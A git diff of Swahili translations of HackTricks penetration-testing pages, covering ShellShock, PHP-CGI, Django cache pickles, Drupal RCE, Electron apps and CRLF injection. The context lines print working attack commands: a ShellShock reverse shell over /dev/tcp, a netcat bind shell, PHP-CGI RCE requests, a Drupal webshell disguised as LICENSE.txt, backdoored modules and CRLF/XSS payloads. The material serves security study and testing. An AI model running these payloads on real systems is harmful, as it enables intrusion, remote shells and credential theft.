**Mshughulikiaji wa Kijazaji ili Kufikia Socket ya Kihandisi ya Unix ya Mitaa** +#### **Mshughulikiaji wa Kijazaji ili Kufikia Socket ya Kihali ya Unix ya Mitaa** -Fikia Socket ya Kihandisi ya Unix ya PHP-FPM ili kutekeleza backdoor ya PHP iliyoko katika `/tmp/`: +Fikia Socket ya Kihali ya Unix ya PHP-FPM ili kutekeleza backdoor ya PHP iliyoko katika `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Mshughulikiaji wa Kawaida kwa RCE** +#### **Mshughulikiaji wa Hali ya Juu kwa RCE** Picha rasmi ya [PHP Docker](https://hub.docker.com/_/php) inajumuisha PEAR (`Pearcmd.php`), chombo cha usimamizi wa pakiti za PHP cha mstari wa amri, ambacho kinaweza kutumika vibaya kupata RCE: ``` diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 0c00e28df..1ffeaa221 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -6,7 +6,7 @@ # **ShellShock** -**ShellShock** ni **udhaifu** unaoathiri **Bash** shell ya amri inayotumika sana katika mifumo ya uendeshaji ya Unix. Inalenga uwezo wa Bash wa kutekeleza amri zinazopitishwa na programu. Udhaifu huu uko katika udanganyifu wa **mabadiliko ya mazingira**, ambayo ni thamani zenye majina zinazobadilika ambazo zinaathiri jinsi michakato inavyofanya kazi kwenye kompyuta. Washambuliaji wanaweza kutumia hili kwa kuambatanisha **kodhi mbaya** kwenye mabadiliko ya mazingira, ambayo inatekelezwa wanapopokea mabadiliko hayo. Hii inawawezesha washambuliaji kuweza kuathiri mfumo. +**ShellShock** ni **udhaifu** unaoathiri **Bash** shell ya amri inayotumika sana katika mifumo ya uendeshaji ya Unix. Inalenga uwezo wa Bash wa kutekeleza amri zinazopitishwa na programu. Udhaifu huu uko katika udanganyifu wa **mabadiliko ya mazingira**, ambayo ni thamani zenye majina zinazobadilika ambazo zinaathiri jinsi michakato inavyofanya kazi kwenye kompyuta. Washambuliaji wanaweza kutumia hii kwa kuambatanisha **kodhi mbaya** kwenye mabadiliko ya mazingira, ambayo inatekelezwa wanapopokea mabadiliko hayo. Hii inawawezesha washambuliaji kuweza kuathiri mfumo. Kutatua udhaifu huu **ukurasa unaweza kutoa kosa**. @@ -33,7 +33,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Kutilia mbali +## Kutilia ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -63,7 +63,7 @@ Kisha, ili kupata **RCE** unaweza kutuma uchunguzi huu maalum: `/?-d allow_url_i ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Maelezo zaidi kuhusu vuln na uwezekano wa exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Maelezo zaidi kuhusu vuln na uwezekano wa exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Andiko Mfano**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index 70c4b99fa..ed4f85b33 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -100,7 +100,7 @@ codeql database create /path/repo/codeql_db --source-root /path/repo > [!CAUTION] > Hii **kwa kawaida itasababisha kosa** linalosema kwamba lugha zaidi ya moja imeainishwa (au kugunduliwa kiotomatiki). **Angalia chaguzi zifuatazo** ili kurekebisha hili! -- Unaweza kufanya hivi **kwa mkono ukionyesha** **repo** na **lugha** ([orodha ya lugha](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) +- Unaweza kufanya hivi **kwa mikono ukionyesha** **repo** na **lugha** ([orodha ya lugha](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) ```bash codeql database create --language --source-root @@ -219,7 +219,7 @@ $ ./insider --tech javascript --target ``` ### [**DeepSource**](https://deepsource.com/pricing) -Bure kwa **repo za umma**. +Bila malipo kwa **repo za umma**. ## NodeJS @@ -265,7 +265,7 @@ retire --colors ## Python -- [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit ni chombo kilichoundwa kutafuta masuala ya kawaida ya usalama katika msimbo wa Python. Ili kufanya hivyo, Bandit inachakata kila faili, inajenga AST kutoka kwake, na inatekeleza nyongeza zinazofaa dhidi ya voz za AST. Mara Bandit inapokamilisha skanning ya faili zote, inazalisha ripoti. +- [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit ni chombo kilichoundwa kugundua masuala ya kawaida ya usalama katika msimbo wa Python. Ili kufanya hivyo, Bandit inachakata kila faili, inajenga AST kutoka kwake, na inatekeleza plugins zinazofaa dhidi ya nodi za AST. Mara Bandit inapokamilisha skanning ya faili zote, inazalisha ripoti. ```bash # Install pip3 install bandit @@ -273,7 +273,7 @@ pip3 install bandit # Run bandit -r ``` -- [**safety**](https://github.com/pyupio/safety): Safety inakagua utegemezi wa Python kwa udhaifu wa usalama unaojulikana na inapendekeza marekebisho sahihi kwa udhaifu ulio gundulika. Safety inaweza kuendeshwa kwenye mashine za waendelezaji, katika mchakato wa CI/CD na kwenye mifumo ya uzalishaji. +- [**safety**](https://github.com/pyupio/safety): Safety inakagua utegemezi wa Python kwa ajili ya udhaifu wa usalama unaojulikana na inapendekeza hatua sahihi za kurekebisha udhaifu ulio gundulika. Safety inaweza kuendeshwa kwenye mashine za waendelezaji, katika mchakato wa CI/CD na kwenye mifumo ya uzalishaji. ```bash # Install pip install safety @@ -347,7 +347,7 @@ https://github.com/securego/gosec 1. Burp: - Spider na gundua maudhui - Sitemap > filter -- Sitemap > bonyeza kulia kwenye domain > Engagement tools > Find scripts +- Sitemap > right-click domain > Engagement tools > Find scripts 2. [WaybackURLs](https://github.com/tomnomnom/waybackurls): - `waybackurls |grep -i "\.js" |sort -u` @@ -357,24 +357,24 @@ https://github.com/securego/gosec - [https://prettier.io/playground/](https://prettier.io/playground/) - [https://beautifier.io/](https://beautifier.io/) -- Angalia baadhi ya zana zilizotajwa katika 'Deobfuscate/Unpack' hapa chini pia. +- Tazama baadhi ya zana zilizotajwa katika 'Deobfuscate/Unpack' hapa chini pia. #### Deobfuscate/Unpack -**Kumbuka**: Inaweza kuwa haiwezekani kuondoa kabisa obfuscation. +**Note**: Inaweza kuwa haiwezekani kuondoa kabisa obfuscation. 1. Tafuta na tumia .map files: - Ikiwa .map files zimefunuliwa, zinaweza kutumika kwa urahisi kuondoa obfuscation. - Kwa kawaida, foo.js.map inahusiana na foo.js. Tafuta kwa mikono. -- Tumia [JS Miner](https://github.com/PortSwigger/js-miner) kuziangalia. +- Tumia [JS Miner](https://github.com/PortSwigger/js-miner) kutafuta. - Hakikisha skana hai inafanywa. - Soma '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' - Ikiwa zimepatikana, tumia [Maximize](https://www.npmjs.com/package/maximize) kuondoa obfuscation. 2. Bila .map files, jaribu JSnice: - Marejeleo: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice) - Vidokezo: -- Ikiwa unatumia jsnice.org, bonyeza kwenye kitufe cha chaguo kilicho karibu na kitufe cha "Nicify JavaScript", na uondoe "Infer types" ili kupunguza machafuko kwenye msimbo kwa maelezo. -- Hakikisha huachi mistari yoyote ya tupu kabla ya script, kwani inaweza kuathiri mchakato wa kuondoa obfuscation na kutoa matokeo yasiyo sahihi. +- Ikiwa unatumia jsnice.org, bonyeza kitufe cha chaguzi kilicho karibu na kitufe cha "Nicify JavaScript", na uondoe "Infer types" ili kupunguza machafuko katika msimbo. +- Hakikisha huachi mistari yoyote tupu kabla ya script, kwani inaweza kuathiri mchakato wa kuondoa obfuscation na kutoa matokeo yasiyo sahihi. 3. Kwa baadhi ya mbadala za kisasa zaidi za JSNice, unaweza kutaka kuangalia yafuatayo: - [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru) @@ -382,7 +382,7 @@ https://github.com/securego/gosec - [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) - > Deobfuscate obfuscator.io, unminify na unpack javascript iliyofungwa - [https://github.com/jehna/humanify](https://github.com/jehna/humanify) -- > Un-minify Javascript code using ChatGPT Zana hii inatumia mifano mikubwa ya lugha (kama ChatGPT & llama2) na zana nyingine kuondoa un-minify Javascript code. Kumbuka kwamba LLMs hazifanyi mabadiliko yoyote ya muundo – zinatoa tu vidokezo vya kubadilisha majina ya mabadiliko na kazi. Kazi nzito inafanywa na Babel kwenye kiwango cha AST ili kuhakikisha msimbo unabaki kuwa sawa 1-1. +- > Un-minify Javascript code using ChatGPT Zana hii inatumia mifano mikubwa ya lugha (kama ChatGPT & llama2) na zana nyingine kuondoa un-minify Javascript code. Kumbuka kwamba LLMs hazifanyi mabadiliko yoyote ya muundo – zinatoa tu vidokezo vya kubadilisha majina ya mabadiliko na kazi. Kazi nzito inafanywa na Babel kwenye kiwango cha AST ili kuhakikisha msimbo unabaki sawa. - [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) - > Kutumia LLMs kubadilisha majina ya mabadiliko ya Javascript @@ -390,7 +390,7 @@ https://github.com/securego/gosec - Tafuta thamani ya kurudi mwishoni na ibadilishe kuwa `console.log();` ili js iliyondolewa obfuscation iweze kuchapishwa badala ya kutekelezwa. - Kisha, bandika js iliyobadilishwa (na bado imefichwa) kwenye [https://jsconsole.com/](https://jsconsole.com/) ili kuona js iliyondolewa obfuscation ikichapishwa kwenye console. - Mwishowe, bandika matokeo yaliyondolewa obfuscation kwenye [https://prettier.io/playground/](https://prettier.io/playground/) ili kuipamba kwa uchambuzi. -- **Kumbuka**: Ikiwa bado unaona js iliyofungwa (lakini tofauti), inaweza kuwa imefungwa kwa kurudi. Rudia mchakato. +- **Note**: Ikiwa bado unaona js iliyofungwa (lakini tofauti), inaweza kuwa imefungwa kwa kurudi. Rudia mchakato. #### References diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index e1e0c35f1..e015f3403 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,8 @@ # Django ## Cache Manipulation to RCE -Njia ya kuhifadhi cache ya Django ya default ni [Python pickles](https://docs.python.org/3/library/pickle.html), ambayo inaweza kusababisha RCE ikiwa [ingizo lisiloaminika limeondolewa](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ikiwa mshambuliaji anaweza kupata ufikiaji wa kuandika kwenye cache, wanaweza kupeleka udhaifu huu hadi RCE kwenye seva ya msingi**. +Njia ya kuhifadhi cache ya Django ya kawaida ni [Python pickles](https://docs.python.org/3/library/pickle.html), ambayo inaweza kusababisha RCE ikiwa [ingizo lisiloaminika limeondolewa](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ikiwa mshambuliaji anaweza kupata ufikiaji wa kuandika kwenye cache, wanaweza kupeleka udhaifu huu hadi RCE kwenye seva ya msingi**. -Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au database ndiyo njia za shambulio zinazoweza kutokea zaidi (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache ya msingi wa faili kubadilisha kuandika bila mpangilio kuwa RCE. Wajibu wa kudumisha wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili ya cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji. +Cache ya Django huhifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au database ndiyo njia za shambulio zinazoweza kutokea zaidi (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache inayotegemea faili kubadilisha kuandika kwa bahati kuwa RCE. Wajibu wa kudumisha wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji. Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia cache ya Django iliyohifadhiwa kwenye database ya SQLite: https://hackerone.com/reports/1415436 diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index f66f55ec4..a4b5309d3 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -9,7 +9,7 @@ ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` -- **Node**: Drupal **inaweka maudhui yake kwa kutumia nodes**. Node inaweza **kushikilia chochote** kama chapisho la blogu, kura, makala, n.k. URI za ukurasa kwa kawaida ni za aina `/node/`. +- **Node**: Drupal **inaweka maudhui yake kwa kutumia nodes**. Node inaweza **kushikilia chochote** kama chapisho la blogu, kura, makala, nk. URI za ukurasa mara nyingi zinafanywa kwa mfumo wa `/node/`. ```bash curl drupal-site.com/node/1 ``` @@ -68,9 +68,9 @@ drupal-rce.md ## Kutoka XSS hadi RCE -- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): Skripti ya Ukatili wa Drupal inayoweza **kuinua XSS hadi RCE au Uhalifu Mwingine wa Kihisia.** Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Drupal 7.X.X, 8.X.X, 9.X.X na 10.X.X, na inaruhusu:** +- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): Skripti ya Ukatili wa Drupal ambayo **inaongeza XSS hadi RCE au Uhalifu Mwingine wa Kihisia.** Kwa maelezo zaidi angalia [**hiki chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Drupal 7.X.X, 8.X.X, 9.X.X na 10.X.X, na inaruhusu:** - _**Kuinua Haki:**_ Inaunda mtumiaji wa kiutawala katika Drupal. -- _**(RCE) Pakia Kiolezo:**_ Pakia violezo vya kawaida vilivyokuwa na backdoor kwa Drupal. +- _**(RCE) Pakia Kiolezo:**_ Pakia violezo vya kawaida vilivyo na backdoor kwa Drupal. ## Baada ya Ukatili @@ -78,7 +78,7 @@ drupal-rce.md ```bash find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` -### Piga watumiaji kutoka DB +### Piga picha watumiaji kutoka DB ```bash mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 5dff64289..b02f18d21 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -19,20 +19,20 @@ curl http://drupal.local/node/3 > [!WARNING] > Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa wavuti tu baada ya usakinishaji wa default. -Kuanzia toleo **8 na kuendelea,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **moduli haifungwi kwa default**. Ili kutumia kazi hii, tunapaswa **kufunga moduli wenyewe**. +Kuanzia toleo **8 na kuendelea,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **moduli haifungwi kwa default**. Ili kutumia kazi hii, tunahitaji **kufunga moduli wenyewe**. 1. Pakua toleo la hivi karibuni la moduli kutoka tovuti ya Drupal. 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` 2. Mara baada ya kupakua nenda kwenye **`Administration`** > **`Reports`** > **`Available updates`**. 3. Bonyeza **`Browse`**, chagua faili kutoka kwenye saraka tuliyoiweka, kisha bonyeza **`Install`**. -4. Mara moduli inapokuwa imefungwa, tunaweza kubonyeza **`Content`** na **kuunda ukurasa mpya wa msingi**, kama tulivyofanya katika mfano wa Drupal 7. Tena, hakikisha **uchague `PHP code` kutoka kwenye `Text format` dropdown**. +4. Mara moduli inapokuwa imewekwa, tunaweza kubonyeza **`Content`** na **kuunda ukurasa mpya wa msingi**, kama tulivyofanya katika mfano wa Drupal 7. Tena, hakikisha **uchague `PHP code` kutoka kwenye `Text format` dropdown**. ## Backdoored Module > [!WARNING] > Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa wavuti tu baada ya usakinishaji wa default. -Ilikuwa inawezekana **kupakua** **moduli**, kuongeza **backdoor** ndani yake na **kufunga**. Kwa mfano, kupakua [**Trurnstile**](https://www.drupal.org/project/turnstile) moduli katika muundo wa kufungia, kuunda faili mpya ya backdoor ya PHP ndani yake, ikiruhusu ufikiaji wa faili ya PHP na faili ya `.htaccess`: +Ilikuwa inawezekana **kupakua** **moduli**, kuongeza **backdoor** ndani yake na **kufunga**. Kwa mfano, kupakua [**Trurnstile**](https://www.drupal.org/project/turnstile) moduli katika muundo wa kubana, kuunda faili mpya ya backdoor ya PHP ndani yake, ikiruhusu ufikiaji wa faili ya PHP na faili ya `.htaccess`: ```html RewriteEngine On RewriteBase / ``` @@ -58,14 +58,14 @@ Baada ya kuwasha: ### Sehemu ya 2 (kutumia kipengele _Configuration synchronization_) -Tutatumia kipengele _Configuration synchronization_ kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal: +Tutatumia kipengele _Configuration synchronization_ ili kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal: - /admin/config/development/configuration/single/export - /admin/config/development/configuration/single/import **Patch system.file.yml** -Hebu tuanze kwa kupachika entry ya kwanza `allow_insecure_uploads` kutoka: +Hebu tuanze kwa kupatch entry ya kwanza `allow_insecure_uploads` kutoka: File: system.file.yml ``` @@ -81,7 +81,7 @@ allow_insecure_uploads: false Kwa: -Faili: system.file.yml +File: system.file.yml ``` ... @@ -149,11 +149,11 @@ php_flag engine on ``` Kwa nini hila hii ni ya kupendeza? -Kwa sababu mara tu Webshell (ambayo tutaita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili la maandiko. +Kwa sababu mara tu Webshell (ambayo tutaiita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia `$_COOKIE` na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili ya maandiko. -Kwa nini kuita Webshell yetu LICENSE.txt? +Kwa nini kuitwa Webshell yetu LICENSE.txt? -Kwa sababu rahisi ikiwa tutachukua faili ifuatayo, kwa mfano [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa kuwa faili ni kubwa vya kutosha). +Kwa sababu tu ikiwa tutachukua faili ifuatayo, kwa mfano [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa sababu faili ni kubwa vya kutosha).
@@ -198,7 +198,7 @@ Kwanza, tunatumia kipengele _Add Document_ (/media/add/document) kupakia faili y **Sehemu 3.2 (pakia faili LICENSE.txt)** -Kisha, tunatumia kipengele _Add Document_ (/media/add/document) tena kupakia Webshell iliyofichwa ndani ya faili la leseni. +Kisha, tunatumia tena kipengele _Add Document_ (/media/add/document) kupakia Webshell iliyofichwa ndani ya faili la leseni.
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 0ea4afdea..4299361a3 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -32,9 +32,9 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili ya main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**. +Mipangilio ya **mchakato wa renderer** inaweza **kuwekwa** katika **mchakato mkuu** ndani ya faili main.js. Baadhi ya mipangilio itakayo **zuia programu ya Electron kupata RCE** au udhaifu mwingine ikiwa **mipangilio imewekwa vizuri**. -Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa kuzuia hili: +Programu ya electron **inaweza kufikia kifaa** kupitia Node apis ingawa inaweza kuwekwa ili kuzuia hilo: - **`nodeIntegration`** - ime **zimwa** kwa chaguo-msingi. Ikiwa imewashwa, inaruhusu kufikia vipengele vya node kutoka kwa mchakato wa renderer. - **`contextIsolation`** - ime **washwa** kwa chaguo-msingi. Ikiwa imezimwa, michakato ya msingi na renderer siyo iliyotengwa. @@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md ### Kupita tukio la kubonyeza -Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo unaweza kuwa na uwezo wa kuvipita **ukifanya bonyeza la kati** badala ya bonyeza la kushoto la kawaida +Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo, huenda ukawa na uwezo wa kuvipita **ukifanya bonyeza la katikati** badala ya bonyeza la kushoto la kawaida ```javascript window.addEventListener('click', (e) => { ``` @@ -185,16 +185,16 @@ window.addEventListener('click', (e) => { Kwa maelezo zaidi kuhusu mifano hii angalia [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) na [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali. +wakati wa kupeleka programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya `nodeIntegration` na `contextIsolation` ni muhimu. Imeanzishwa kwamba **utendaji wa mbali wa msimbo wa mteja (RCE)** unaolenga skripti za preload au msimbo wa asili wa Electron kutoka kwa mchakato mkuu unazuia kwa ufanisi na mipangilio hii ikiwa mahali. -Wakati mtumiaji anapoingiliana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu: +Wakati mtumiaji anaposhiriki na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio huanzishwa, ambayo ni muhimu kwa usalama na utendaji wa programu: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Wasikilizaji hawa **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki ya biashara** yake. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kwa kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`. +Wasikilizaji hawa **wanabadilishwa na programu ya desktop** ili kutekeleza **mantiki yake ya biashara**. Programu inakadiria ikiwa kiungo kilichotembelewa kinapaswa kufunguliwa ndani au kwenye kivinjari cha mtandao cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, `openInternally`. Ikiwa kazi hii inarudisha `false`, inaashiria kwamba kiungo kinapaswa kufunguliwa nje, kwa kutumia kazi ya `shell.openExternal`. -**Hapa kuna pseudocode iliyorahisishwa:** +**Hapa kuna pseudocode iliyo rahisishwa:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) @@ -247,20 +247,20 @@ frames[0].document.body.innerText ## **RCE: XSS + Old Chromium** Ikiwa **chromium** inayotumiwa na programu ni **ya zamani** na kuna **udhaifu** **ujulikanao** juu yake, inaweza kuwa inawezekana **kuikabili na kupata RCE kupitia XSS**.\ -Unaweza kuona mfano katika **writeup** hii: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) +Unaweza kuona mfano katika **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing kupitia Internal URL regex bypass** Kukisia umepata XSS lakini huwezi **kuanzisha RCE au kuiba faili za ndani**, unaweza kujaribu kuitumia **kuiba akidi kupitia phishing**. -Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika front-end: +Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, ukikagua msimbo wa JS katika upande wa mbele: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` Kito cha **`openInternally`** kitaamua kama **kiungo** kitafunguliwa katika **dirisha la desktop** kwani ni kiungo kinachomilikiwa na jukwaa, **au** kama kitafunguliwa katika **browza kama rasilimali ya upande wa tatu**. -Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha alama za nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba taarifa za kuingia** kwa mtumiaji: +Katika kesi ambapo **regex** inayotumika na kazi hiyo ni **dhaifu kwa kupita** (kwa mfano kwa **kutokuepusha nukta za subdomains**) mshambuliaji anaweza kutumia XSS ili **kufungua dirisha jipya ambalo** litakuwa katika miundombinu ya mshambuliaji **likiomba taarifa za kuingia** kwa mtumiaji: ```html ` - Katika URL hii, `%0d%0a%0d%0a` ni fomu ya URL-encoded ya CRLFCRLF. Inapotosha seva kuingiza mfuatano wa CRLF, ikifanya seva itendee sehemu inayofuata kama mwili wa jibu. 4. Seva inarejesha ingizo la mshambuliaji katika kichwa cha jibu, na kusababisha muundo usio kusudiwa wa jibu ambapo script ya uhalifu inatafsiriwa na kivinjari kama sehemu ya mwili wa jibu. @@ -65,7 +65,7 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT ``` #### Katika Njia ya URL -Unaweza kutuma payload **ndani ya njia ya URL** ili kudhibiti **jibu** kutoka kwa seva (mfano kutoka [hapa](https://hackerone.com/reports/192667)): +Unaweza kutuma payload **ndani ya njia ya URL** kudhibiti **jibu** kutoka kwa seva (mfano kutoka [hapa](https://hackerone.com/reports/192667)): ``` 